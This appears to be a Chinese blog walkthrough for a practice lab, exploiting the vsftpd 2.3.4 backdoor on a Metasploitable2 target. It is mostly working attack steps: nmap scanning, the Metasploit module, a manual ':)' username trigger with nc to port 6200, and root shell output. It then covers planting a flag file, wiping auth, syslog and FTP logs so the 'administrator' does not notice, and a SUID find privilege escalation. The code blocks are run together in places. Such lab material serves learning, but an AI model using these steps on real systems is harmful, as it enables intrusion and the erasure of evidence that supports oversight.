使用编辑器+练习
2026/7/9 13:29:20
USER登录命令时,用户名中包含:)(笑脸符号),会触发靶机在 6200 端口启动 root 权限的绑定 shell(无需密码验证)验证靶机 21 端口是否开放、FTP 服务版本是否为漏洞版本,为后续利用做准备
bash
运行
# -sV:探测服务版本信息;-T4:快速扫描;-Pn:跳过主机存活检测(避免靶机关闭ping响应);-p21:只扫描21端口 nmap -sV -T4 -Pn -p21 192.168.1.321/tcp open ftp(端口开放)vsftpd 2.3.4(漏洞版本,可继续操作)bash
运行
# 打开msf控制台(Kali默认安装,直接执行命令) msfconsolemsf >提示符即可操作)bash
运行
# 搜索vsftpd 2.3.4对应的漏洞利用模块 search vsftpd 2.3.4 # 输出结果中,第一个模块即为目标模块(exploit/unix/ftp/vsftpd_234_backdoor) # 加载该模块(use+模块路径) use exploit/unix/ftp/vsftpd_234_backdoormsf exploit(unix/ftp/vsftpd_234_backdoor) >bash
运行
# 设置靶机IP(RHOSTS为目标主机参数) set RHOSTS 192.168.1.3 # 可选:设置本地监听端口(默认无需修改,模块会自动处理) # set LPORT 4444(若本地4444端口被占用,可修改为其他端口) # 查看已配置参数(确认是否正确) show optionsRHOSTS值为192.168.1.3,无其他必填参数遗漏bash
运行
# 运行模块(触发后门并连接shell) runplaintext
[*] 192.168.1.3:21 - Banner: 220 (vsFTPd 2.3.4) # 成功获取FTP服务横幅 [*] 192.168.1.3:21 - USER: 331 Please specify the password. # 发送USER命令触发后门 [+] 192.168.1.3:21 - Backdoor service has been spawned, handling... # 后门已启动 [+] 192.168.1.3:21 - UID: uid=0(root) gid=0(root) # 已获取root权限 [*] Found shell. # 找到shell [*] Command shell session 1 opened (192.168.1.4:37817 -> 192.168.1.3:6200) at 2026-01-11 19:21:12 +0800 # 建立会话#或无明确提示符,直接输入命令即可)bash
运行
# 用FTP客户端连接靶机21端口 ftp 192.168.1.3 21220 (vsFTPd 2.3.4)和Name (192.168.1.3:root):提示符ftp
# 输入USER命令,用户名包含`:)`(任意字符串+`:)`均可) USER test:)`bash
运行
# 打开新终端,用netcat连接靶机6200端口(后门端口) nc 192.168.1.3 6200whoami验证,显示root)run后显示 “Connection refused”,需重启靶机(Metasploitable2 偶尔会出现后门未触发成功的情况)确保获取的是最高权限,为后续插旗、清日志做准备
在获取的 shell 中执行以下命令:
bash
运行
# 查看当前用户ID(uid=0为root) whoami # 输出:root id # 输出:uid=0(root) gid=0(root) groups=0(root) pwd # 输出当前工作目录(通常为/root或/) ls /root # 查看root目录文件(root权限可访问)whoami输出root,说明权限正常;若输出ftp,需重新执行利用步骤创建专属标识文件,证明已成功渗透靶机,形成学习记录
bash
运行
# 进入root目录(最高权限目录,不易被误删) cd /root # 创建flag文件,写入渗透信息(包含靶机IP、时间、端口、操作者等) echo "======================================" > hack_success.flag echo "🔥 渗透成功标识(21端口vsftpd 2.3.4漏洞)" >> hack_success.flag echo "靶机IP:192.168.1.3" >> hack_success.flag echo "渗透时间:$(date)" >> hack_success.flag echo "操作者:43岁人生赢家(渗透测试爱好者)" >> hack_success.flag echo "漏洞类型:vsftpd 2.3.4后门漏洞" >> hack_success.flag echo "获取权限:root(最高权限)" >> hack_success.flag echo "======================================" >> hack_success.flag # 验证flag文件是否创建成功 ls -l hack_success.flag # 输出文件详情(如:-rw-r--r-- 1 root root 200 Jan 11 19:25 hack_success.flag) cat hack_success.flag # 查看文件内容,确认信息正确清除渗透过程中留下的操作记录,避免被 “管理员” 发现,完成闭环
bash
运行
# 1. 清空登录认证日志(记录SSH、FTP、Telnet登录记录) echo "" > /var/log/auth.log echo "" > /var/log/auth.log.1 # 日志轮转文件(旧日志) # 2. 清空系统日志(记录系统服务启动、进程操作、错误信息) echo "" > /var/log/syslog echo "" > /var/log/syslog.1 # 3. 清空消息日志(记录内核、硬件、系统事件) echo "" > /var/log/messages echo "" > /var/log/messages.1 # 4. 清空FTP服务专属日志(记录21端口连接、文件传输记录) echo "" > /var/log/vsftpd.log echo "" > /var/log/xferlog # FTP文件传输日志 # 5. 清空安全日志(部分Linux系统记录敏感操作,Metasploitable2可选) echo "" > /var/log/secure 2>/dev/null # 2>/dev/null避免文件不存在时的报错 # 6. 验证日志是否清空(可选,确认操作生效) ls -lh /var/log/ | grep -E "auth|syslog|messages|vsftpd|xferlog" # 输出结果中,日志文件大小应显示为0(如:-rw-r----- 1 root adm 0 Jan 11 19:30 auth.log)/var/log/目录下的关键文件,不要删除日志文件(仅清空内容),避免引起管理员怀疑2>/dev/null表示忽略错误输出(若部分日志文件不存在,不会影响后续命令执行)bash
运行
# 1. 退出靶机shell exit # 2. 回到msf控制台,关闭当前会话(避免会话残留) # 先查看会话列表(确认session ID) sessions -l # 输出:Active sessions ==== Id Name Type Information Connection 1 shell cmd/unix/interact 192.168.1.4:37817 -> 192.168.1.3:6200 # 关闭会话(ID为1,根据实际列表修改) sessions -k 1 # 3. 退出msf控制台 exit # 4. 关闭Kali终端(可选)ifconfig查看正确 IPping 192.168.1.3(若不通,检查虚拟机网络模式,建议设为 “桥接模式” 或 “仅主机模式”)nmap -p6200 192.168.1.3(确认 6200 端口是否开放)find / -perm -u=s -type f 2>/dev/null,找到/usr/bin/find后,执行/usr/bin/find / -exec /bin/sh \; -quit提权到 root信息收集(nmap)→ 漏洞利用(msf)→ 权限验证(whoami)→ 插旗(创建flag文件)→ 日志清理(清空/var/log/)→ 收尾退出nmap -sV -T4 -Pn -p21 192.168.1.3msfconsole → search vsftpd 2.3.4 → use 模块 → set RHOSTS 192.168.1.3 → runcd /root → echo "渗透信息" > hack_success.flagecho "" > /var/log/xxx.log(替换 xxx 为关键日志文件名)